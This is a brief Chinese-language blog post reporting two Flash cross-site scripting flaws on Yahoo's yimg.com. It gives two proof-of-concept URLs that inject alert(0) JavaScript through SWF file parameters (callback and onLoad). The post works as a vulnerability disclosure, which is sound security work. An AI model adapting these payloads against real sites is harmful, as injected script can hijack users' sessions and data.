雅虎的yimg.com两个flash跨站

    作者  beastk

    yimg两个flash过滤不严格,存在跨站

    http://mail.yimg.com/nq/mc/1_0_0/us/pim/userstatus_2.swf?url=http://www.baidu.com&callback=function(){alert(0)}()
     

    http://l.yimg.com/pb/webplayer/0.9.32/flash/swfproxy.swf?onLoad=alert%280%29
     
     

    本博客所有文章如无特别注明均为原创。
    复制或转载请以超链接形式注明转自乐橙呀,原文地址《雅虎的yimg.com两个flash跨站
    标签:
    喜欢 | 0
    分享:

还没有人抢沙发呢~